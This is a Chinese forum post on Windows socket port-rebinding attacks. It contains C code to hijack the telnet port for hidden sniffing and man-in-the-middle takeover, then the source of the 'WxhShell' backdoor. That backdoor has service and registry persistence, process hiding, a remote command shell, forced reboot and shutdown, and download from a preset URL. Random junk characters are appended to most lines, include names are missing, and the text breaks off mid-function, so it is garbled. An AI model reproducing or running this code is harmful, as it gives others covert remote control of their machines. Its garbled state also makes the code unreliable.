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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DDE-$)lf>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wjb_H (D  
R)NSJ-A!2  
  saddr.sin_family = AF_INET; !%>RHh[  
{_9O4 + &  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $1f2'_`8~  
BgQEd@cN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k:0j;\Sx  
;1k& }v&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E&U_1D9=L<  
>kXscbRL7  
  这意味着什么?意味着可以进行如下的攻击: :i.@d?  
"O34 E?ql.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \|=6<ZY:  
oe<i\uX8z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u\\t~<8  
Hw \of  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (W}F\P  
WZQ2Mi<&1'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c'oiW)8;A  
$*q|}Tvl#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :ld~9  
{'b;lA]0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5m8u:6kQu  
<)7aNW.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /,\V}`Lx"  
uw;Sfx,s  
  #include YR?Y:?(  
  #include .}==p&(  
  #include f-%M~:  
  #include    QjTSbHtH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /U;j-m&   
  int main() ]az(w&vqg2  
  { { 4J.  
  WORD wVersionRequested; U1 _"D+XB  
  DWORD ret; VbX P7bZ  
  WSADATA wsaData; ] Lv3XMa  
  BOOL val; )eZK/>L&  
  SOCKADDR_IN saddr; ocGrB)7eD  
  SOCKADDR_IN scaddr; dl4n -*h  
  int err; DU^.5f  
  SOCKET s; u*C*O4f>OC  
  SOCKET sc; M7=,J;@  
  int caddsize; u8-6s+ O  
  HANDLE mt; c p"K?)  
  DWORD tid;   gUklP(T=u  
  wVersionRequested = MAKEWORD( 2, 2 ); K(;qd Ir  
  err = WSAStartup( wVersionRequested, &wsaData ); pGs?Y81  
  if ( err != 0 ) { [)"\Aq  
  printf("error!WSAStartup failed!\n"); 4*XNk;Dx  
  return -1; E'x"EN  
  } M9iX_4  
  saddr.sin_family = AF_INET; #,#`< h!  
   SBxpJsW >  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #pvq9fss,}  
[F6 )Z[uG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +|/0sPW(  
  saddr.sin_port = htons(23); M%E<]H2;S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M<-Q8 a~  
  { ;,77|]<XE  
  printf("error!socket failed!\n"); Oiib2Ov  
  return -1; #b^6>  
  } UarLxPQ  
  val = TRUE; T]th3*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '+9<[]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DzVCEhf  
  { VrIN.x  
  printf("error!setsockopt failed!\n"); <^YvgQ,m  
  return -1; Yq ]sPE92  
  } 1jKpLTSs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^lp=4C9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lOm01&^"E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H_&to3b(  
h*Fv~j'p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?lC>E[  
  { 6kAAdy}ck  
  ret=GetLastError(); =@U5/J  
  printf("error!bind failed!\n"); ,U""m7   
  return -1; 'I,a 29  
  } +La2-I  
  listen(s,2); ,`f]mv l  
  while(1) in>+D|q c  
  { v0 C+DKi  
  caddsize = sizeof(scaddr); |]G%b[  
  //接受连接请求 aM~IRLmK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cKTjQJ#  
  if(sc!=INVALID_SOCKET) riW9l6s'  
  { J _rrc;F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }ny7LQ  
  if(mt==NULL) }H ~-oYMu  
  { j|KDgI<0  
  printf("Thread Creat Failed!\n"); L-9fo-  
  break;  \ ca<L  
  } q/@2=$]hH3  
  } /9br&s$B  
  CloseHandle(mt); r^m&<)Ca  
  } m!ZY]:)$  
  closesocket(s); bMK X9`*o  
  WSACleanup(); YE`Y t  
  return 0; 7qqzL_d>  
  }   8KJUC&`  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y%;J/4dd  
  { .Y6v#VI  
  SOCKET ss = (SOCKET)lpParam; .57p4{  
  SOCKET sc; )K[\j?   
  unsigned char buf[4096]; v~ SM"ky#  
  SOCKADDR_IN saddr; s4fO4.bnm  
  long num; # scZP  
  DWORD val; 4aArxJ  
  DWORD ret; @k i|# ro  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '~Y@HRVL@|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _:[@zxT<x  
  saddr.sin_family = AF_INET; xt|^~~ /  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -=5~h  
  saddr.sin_port = htons(23); ].Yz =:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !q+ #JW  
  { D('.17  
  printf("error!socket failed!\n"); CHGa_  
  return -1; NF0_D1Goi  
  } SnG(/1C8  
  val = 100; W5Jw^,iPd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #1-WiweO  
  {  x+cL(R  
  ret = GetLastError(); uH*6@aYPo  
  return -1; j""ZFh04  
  } $ 64up!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *QQeK# $s  
  { /0}Z>i K  
  ret = GetLastError(); x=cucZ  
  return -1; 6J>AU  
  } 4'z)J1M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pVc+}Wzh  
  { Qs\a&Q=0H  
  printf("error!socket connect failed!\n"); U)G.Bst  
  closesocket(sc); e*Wk;D&  
  closesocket(ss); x*H#?.E  
  return -1; V;eaQ  
  } Il [~  
  while(1) *;@wPT  
  { 1 !_p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _^W;J/He  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;qaPK2 a8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :(]fC~G~  
  num = recv(ss,buf,4096,0); P!]uJ8bi  
  if(num>0)  ,]EhDW6  
  send(sc,buf,num,0); Mz&/.A  
  else if(num==0) l:'#pZ4T  
  break; <\O+  
  num = recv(sc,buf,4096,0); - )(5^OQ  
  if(num>0) X&WP.n)  
  send(ss,buf,num,0); Z5Lmg  
  else if(num==0) fHd[8{;P:  
  break; :|n[zjK/S  
  } HF0G=U}i  
  closesocket(ss); JaUzu3*=  
  closesocket(sc); '^TeV=  
  return 0 ; :EOai%i  
  } Jw _>I  
'Ou C[$Z  
qHZDo[  
========================================================== s|WwB T  
P] *x6c^n  
下边附上一个代码,,WXhSHELL U> lf-iI2B  
T3fQ #p  
========================================================== (ODwdN7;  
JwbZ`Z*w  
#include "stdafx.h" !p+54w\ 2  
4 -.W~C'Q  
#include <stdio.h> WGz)-IB!PE  
#include <string.h> zjA]Tr  
#include <windows.h> ]qqgEZ1!Y  
#include <winsock2.h> rnZ$Qk-H  
#include <winsvc.h> a qEZhMy  
#include <urlmon.h> fk ,Vry  
b=r3WkB6  
#pragma comment (lib, "Ws2_32.lib") X8ulaa  
#pragma comment (lib, "urlmon.lib") d#E&,^@M  
}gQ2\6o2g  
#define MAX_USER   100 // 最大客户端连接数 Rq}lW.<r  
#define BUF_SOCK   200 // sock buffer {3x>kRaKci  
#define KEY_BUFF   255 // 输入 buffer XHU$&t`7>g  
vu0Ue  
#define REBOOT     0   // 重启 :e7\z  
#define SHUTDOWN   1   // 关机 o,WjM[e  
9 " q-Bb  
#define DEF_PORT   5000 // 监听端口 hY.i`sp*/  
3tZIL  
#define REG_LEN     16   // 注册表键长度 CFh9@Nx  
#define SVC_LEN     80   // NT服务名长度 jh oA6I  
#VrIU8Q7'  
// 从dll定义API I6 ?(@,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B,\VLX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t}eyfflZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %]Z4b;W[Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K ~mUO  
aG]>{(~cL  
// wxhshell配置信息 y2I7Zd .  
struct WSCFG { rD=D.1_   
  int ws_port;         // 监听端口 -g~+9/;n  
  char ws_passstr[REG_LEN]; // 口令 +7b8ye  
  int ws_autoins;       // 安装标记, 1=yes 0=no _nqnO8^IG4  
  char ws_regname[REG_LEN]; // 注册表键名 E<\$3G-do  
  char ws_svcname[REG_LEN]; // 服务名 h&i*=&<HP6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yIL=jzm`7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~bZ =]i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?:wb#k)Z/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gQr+ ~O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g$s;;V/8e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -~{Z*1`,  
O#U maNj/  
}; #Kb /tOp1  
8)0]cX  
// default Wxhshell configuration M,fL(b;2  
struct WSCFG wscfg={DEF_PORT, n.+'9Fj  
    "xuhuanlingzhe", wS}c \!@<,  
    1, LH4A!a]  
    "Wxhshell", :$"{-n  
    "Wxhshell", BI:Cm/ >  
            "WxhShell Service", ~Y x_ 3  
    "Wrsky Windows CmdShell Service", _4N.]jr5  
    "Please Input Your Password: ", .j:,WF<"l5  
  1, FPYk`D  
  "http://www.wrsky.com/wxhshell.exe", tkctwjD  
  "Wxhshell.exe" P{9:XSa%  
    }; R->x_9y-R  
<(KCiM=E$  
// 消息定义模块 -iiX!@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wGti |7Tu*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vntJe^IaFd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &DMC\R*j  
char *msg_ws_ext="\n\rExit."; S=k!8]/d|  
char *msg_ws_end="\n\rQuit."; Y$L` G  
char *msg_ws_boot="\n\rReboot..."; x1eC r_  
char *msg_ws_poff="\n\rShutdown..."; (%fQhQ  
char *msg_ws_down="\n\rSave to "; ]u5TvI,C  
{\(G^B*\  
char *msg_ws_err="\n\rErr!"; C*2%Ix18+N  
char *msg_ws_ok="\n\rOK!"; ^f,4=-  
!Axe}RD'  
char ExeFile[MAX_PATH]; 8Q Try%  
int nUser = 0; ~3:VM_  
HANDLE handles[MAX_USER]; D 5rH6*J  
int OsIsNt; `9r{z;UQ  
)5b_>Uy  
SERVICE_STATUS       serviceStatus; 6RbDc *  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qbv@}[f  
9F807G\4Qt  
// 函数声明 4fKvB@O@.  
int Install(void); /f[Ek5/-0  
int Uninstall(void); 3wv@wqx  
int DownloadFile(char *sURL, SOCKET wsh); ,7s>#b'  
int Boot(int flag); w<H Xe  
void HideProc(void); z}Cjk6z@  
int GetOsVer(void); @4;'>yr(  
int Wxhshell(SOCKET wsl); t+KW=eW  
void TalkWithClient(void *cs); %!\=$s}g  
int CmdShell(SOCKET sock); futYMoV  
int StartFromService(void); %AO6 =  
int StartWxhshell(LPSTR lpCmdLine); 9&* 7+!  
E,m|E]WP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pX_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dd1k?  
:Vxt2@p{  
// 数据结构和表定义 fDsT@W,K  
SERVICE_TABLE_ENTRY DispatchTable[] = >2s6Y  
{ :=B.)]F.)  
{wscfg.ws_svcname, NTServiceMain}, E.*hY+kGZ  
{NULL, NULL} J920A^)j!  
}; 0HWSdf|w  
3g;Y  
// 自我安装 d7kE}{,  
int Install(void) / <(|4e  
{ 7SHllZ  
  char svExeFile[MAX_PATH]; 0G8@UJv6  
  HKEY key; ;((t|  
  strcpy(svExeFile,ExeFile); 'KjH|u  
QT+kCN  
// 如果是win9x系统,修改注册表设为自启动 US)i"l7:H*  
if(!OsIsNt) { us.[wp'Sh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %O9Wm_%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~S('\h)1  
  RegCloseKey(key); ^Z)7Z% O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _9=87u0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `e ZDG  
  RegCloseKey(key); <ci(5M  
  return 0; 7;p/S#P:  
    } bR7tmJ[)Z  
  } c $1u  
} JAHg_!  
else { U1:m=!S;x  
Yuv=<V  
// 如果是NT以上系统,安装为系统服务 _zDS-e@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tp-W/YC  
if (schSCManager!=0) jP<6J(  
{ 8d*S9p,/  
  SC_HANDLE schService = CreateService r#WqXh_uk  
  ( Oey Ph9^V  
  schSCManager, qK$O /g,  
  wscfg.ws_svcname, P.>fkO1\  
  wscfg.ws_svcdisp, er_6PV  
  SERVICE_ALL_ACCESS, oL~1M=r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jlb8<xIC]  
  SERVICE_AUTO_START, _i ztQ78  
  SERVICE_ERROR_NORMAL, L&+k`b  
  svExeFile, 0i}.l\  
  NULL, eM!Oc$C8[  
  NULL, Ly(iq  
  NULL, 0dwD ?GG2  
  NULL, ^JxVs 7  
  NULL 6/cm TT$i  
  ); ED8{  
  if (schService!=0) (tA[]ne2  
  { P>q~ocq<  
  CloseServiceHandle(schService); U>kaQ54/  
  CloseServiceHandle(schSCManager); nP*DZC0kE&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 06HU6d ,  
  strcat(svExeFile,wscfg.ws_svcname); dUB;ZB7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wg%]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }'vQUG u8z  
  RegCloseKey(key); cl`kd)"v  
  return 0; NdJ]\>5oN,  
    } \ 3E%6L  
  } ;LgMi5dN  
  CloseServiceHandle(schSCManager); kR1 12J9P  
} )r"R  
} Z<|x6%  
B[mZQ&Gz`a  
return 1; vV"YgN:  
} v3[ZPc;;  
Ew]&~:$Ki  
// 自我卸载 <>KQ8:  
int Uninstall(void) +mG"m hF  
{ T=w0T-[f  
  HKEY key; WMKxGZg"  
W/RB|TMT  
if(!OsIsNt) { _H U>T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {6LS$3}VM  
  RegDeleteValue(key,wscfg.ws_regname); !}|'1HIC  
  RegCloseKey(key); [GCaRk>b,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D+AkV|  
  RegDeleteValue(key,wscfg.ws_regname); !|9@f$Jv  
  RegCloseKey(key); i*l =xW;bM  
  return 0; 6GAEQ]  
  } Y, Lpv|  
} k_1;YO BF  
} D Q4O  
else { 7&etnQJ{  
D|Tz{DRG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *B4OvHi)'  
if (schSCManager!=0) DQObHB8L  
{ "w 4^i!\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LTx,oa:ma  
  if (schService!=0) YpZuAJm<2_  
  { ~2[kCuu  
  if(DeleteService(schService)!=0) { `<@ "WSn  
  CloseServiceHandle(schService); L   
  CloseServiceHandle(schSCManager); i%i s<'  
  return 0; u=PLjrB~}  
  } L8E4|F}  
  CloseServiceHandle(schService); >`WQxkpy  
  } $2]>{g  
  CloseServiceHandle(schSCManager); BQ,749^S  
} uCt?(E>  
} Cw!tB1D  
"KCG']DF  
return 1; I=Y_EjZ D  
} C5KUIOg  
kg(}%Ih  
// 从指定url下载文件 asQ^33g z  
int DownloadFile(char *sURL, SOCKET wsh) modem6#x'  
{ cAx$W6S  
  HRESULT hr; ,ZYPffu<*  
char seps[]= "/"; }]1C=~lC  
char *token; `)8S Ix  
char *file; 3 %BI+1&T_  
char myURL[MAX_PATH]; F1}d@^K 7d  
char myFILE[MAX_PATH]; o]]tH  
m+dQBsz\  
strcpy(myURL,sURL); g^:`h VV  
  token=strtok(myURL,seps); oG hMO  
  while(token!=NULL) s,mt%^x[  
  { /ZL6gRRA|  
    file=token; non5e)w3@  
  token=strtok(NULL,seps); !mVq+_7]  
  } |A|K);  
)yz)Fw|&  
GetCurrentDirectory(MAX_PATH,myFILE); Bs '=YK$  
strcat(myFILE, "\\"); kTzO4s?  
strcat(myFILE, file); [@pumH>  
  send(wsh,myFILE,strlen(myFILE),0); Z"l].\= F  
send(wsh,"...",3,0); 0}` -<(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `Y!8,( 5#  
  if(hr==S_OK) =(R3-['QIb  
return 0; L*rCUv`  
else ^VnnYtCRz  
return 1; 71IM`eL=ED  
^IvQdVB  
} 0<<ATw$aQ  
9 %Vy,  
// 系统电源模块 %<|<%~l&  
int Boot(int flag) n%}#e!  
{ {QN 5QGvK  
  HANDLE hToken; H:Q4!<  
  TOKEN_PRIVILEGES tkp; benqm ~{\  
i}f"'KW  
  if(OsIsNt) { O#{`Fj`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GAs.?JHd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); svt3gkR0  
    tkp.PrivilegeCount = 1; [tC=P&<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2h@&yW2j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ww+,GnV  
if(flag==REBOOT) { A&ceuu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rb^G~82d?  
  return 0; B<.ZW}#v  
} EZp >Cf7  
else { mTL`8hv?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;eW)&qzK  
  return 0; 8F$]@0v`%  
} }QCn>LXE  
  } Jh4pY#aF  
  else { Gy6x.GX  
if(flag==REBOOT) { O"X7 DgbC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GUJ?6;  
  return 0; WFmW[< g  
} 3:c6x kaw  
else { cUw$F{|W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )RWY("SUy1  
  return 0; ^%\MOjSN  
} R9K~b^`  
} Y!y pG-  
s|[qq7  
return 1; <&((vrfa  
} ts,V+cEA  
*k?y+}E_f  
// win9x进程隐藏模块 M`* BS  
void HideProc(void) fCX8s(|F  
{ v4X ` Ul*  
# x X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @'Pay)P  
  if ( hKernel != NULL ) `0+-:sXZ6  
  { )g^O'e=m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pUu<0a^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jnM}N:v  
    FreeLibrary(hKernel); LXth-j=]  
  } (7$BF~s:,  
Nn?$}g  
return; xbCQ^W2YU|  
} ^8dCFw.rU  
Bq-}BN?pz  
// 获取操作系统版本 V8pZr+AJ  
int GetOsVer(void) HRCnjem/v\  
{ * ]D{[hV  
  OSVERSIONINFO winfo; YB:}L b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I%<pS ,p  
  GetVersionEx(&winfo);  niyxZ<Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0<f.r~  
  return 1; 00r7trZW^  
  else =<K6gC27  
  return 0; Bf[`o<c  
} &2ty++gC  
gC_KT,=H;  
// 客户端句柄模块 N&$ ,uhmO  
int Wxhshell(SOCKET wsl) {#pw rWG  
{ 2^rJ|Ni  
  SOCKET wsh; m|OB_[9  
  struct sockaddr_in client; lO0}  
  DWORD myID; pWH,nn?w.  
I_R6 M1  
  while(nUser<MAX_USER) ;Z`R!  
{ L7.SH#m  
  int nSize=sizeof(client); P%!=Rj^2m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ao|n<*}  
  if(wsh==INVALID_SOCKET) return 1; V&Rwj_Y  
z"Cyjmg"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O{U j  
if(handles[nUser]==0) `'pAiu  
  closesocket(wsh); Y|tK19  
else #]gmM  
  nUser++; {&6i$4T  
  } pEW~zl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NQvI=R-g  
DhsvN&yNM  
  return 0; )ac!@slb^7  
} LPca+o|f  
|TR +Wn  
// 关闭 socket @:>gRD  
void CloseIt(SOCKET wsh) ~zWLqnS}  
{ N\rL ~4/  
closesocket(wsh); MGr e_=Dm_  
nUser--; G68@(<<Z  
ExitThread(0); ;=6EBP%  
} v?%vB#A^  
*O_^C  
// 客户端请求句柄 3Y&4yIx  
void TalkWithClient(void *cs) =([4pG  
{ *D9H3M[o#  
_,d<9 Y)  
  SOCKET wsh=(SOCKET)cs; &rl;+QS  
  char pwd[SVC_LEN]; roBb8M|q  
  char cmd[KEY_BUFF]; ~_g{P3  
char chr[1]; hMV>5Y[s  
int i,j; OkCAvRg  
| :id/  
  while (nUser < MAX_USER) { )%lPKp4]  
]I zD`  
if(wscfg.ws_passstr) { K%Bz6 ~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V\l@_%D[(v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `82Dm!V  
  //ZeroMemory(pwd,KEY_BUFF);  Wu8^Z Z{  
      i=0; <z>oY2%  
  while(i<SVC_LEN) { $q .}eb0  
QBN\wL8g  
  // 设置超时 a(ml#-M  
  fd_set FdRead; p  UW7p  
  struct timeval TimeOut; RAuVRm=E  
  FD_ZERO(&FdRead); w8 `1'*HG  
  FD_SET(wsh,&FdRead); #l3)3k* ;  
  TimeOut.tv_sec=8; <td]k%*+  
  TimeOut.tv_usec=0; JO90TP $  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I`i"*z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t*u#4I1  
}Gy M<!:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XP?)x Dr8  
  pwd=chr[0]; vJV/3-yX  
  if(chr[0]==0xd || chr[0]==0xa) { (XY`1|])`  
  pwd=0; gFT lP  
  break; }d;6.~Gw  
  } <iGW~COd  
  i++; jp^Sw|  
    } l"jYY3N|h  
O}p<"3Ub  
  // 如果是非法用户,关闭 socket (Nv -wU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )?c,&  
}  X>P|-n#  
Q;A\M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {t!7r_hj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %/5Wj_|p  
_mwt{D2r}  
while(1) { Vo6g /h?`  
n\f]?B(  
  ZeroMemory(cmd,KEY_BUFF); 9\/oL{  
\k{[HfVvn  
      // 自动支持客户端 telnet标准   "Wr[DqFd  
  j=0; vUOl@UQ5  
  while(j<KEY_BUFF) { 4z9lk^#"X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M]/DKo  
  cmd[j]=chr[0]; a ~W  
  if(chr[0]==0xa || chr[0]==0xd) { =Vazxt@[  
  cmd[j]=0; ' 2O @  
  break; nAAv42j[  
  } UT9u?  
  j++; aql8Or1[  
    } a(ITv roM/  
sf# px|~9  
  // 下载文件 RVLVY:h|F  
  if(strstr(cmd,"http://")) { 4RYH^9;>K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @qj]`}Gx'  
  if(DownloadFile(cmd,wsh)) |r36iUHZS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CyW|k Dz  
  else >xq. bG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m8e()8lZ3  
  } Kfr1k  
  else { P".IW.^kk~  
4v3gpLH  
    switch(cmd[0]) { ;ko6igx)+  
  )5gj0#|CG@  
  // 帮助 7')W+`o8eL  
  case '?': { VuH ->  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <JU3sXl  
    break; "k{so',7z  
  } 5gqs"trF  
  // 安装 Y$]zba  
  case 'i': { /F(n%8)Yq  
    if(Install()) W I MBw mg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[i N/  
    else 8&| o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G9yK/g&q  
    break; KAI2[ gs  
    } +@?'dw  
  // 卸载 Y?3tf0t/  
  case 'r': { hpPacN  
    if(Uninstall()) y$SUYG'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |5O>7~Tp  
    else $~W5! m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }u=Oi@~  
    break; ^2+ Vt=*  
    } D&D6!jz  
  // 显示 wxhshell 所在路径 "QiR  
  case 'p': { lv'WRS'}  
    char svExeFile[MAX_PATH]; '?L^Fa_H  
    strcpy(svExeFile,"\n\r"); kLZVTVSJt  
      strcat(svExeFile,ExeFile); l:uQ#Z)  
        send(wsh,svExeFile,strlen(svExeFile),0); V K 7  
    break; ,w H~.LHi  
    } >X' -J{4R  
  // 重启 $D#h, `  
  case 'b': { Ve&_NVPrd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  k%i.B  
    if(Boot(REBOOT)) 3 ?I!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FiUwy/,ZV  
    else { !*NDsC9  
    closesocket(wsh); /UK]lP^w]!  
    ExitThread(0); R_KDY  
    } e5P9P%1w  
    break; ipbhjK$  
    } z[v4(pO 6  
  // 关机 /bB4ec8!  
  case 'd': { KvPCb%!ZP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -OlrA{=c_  
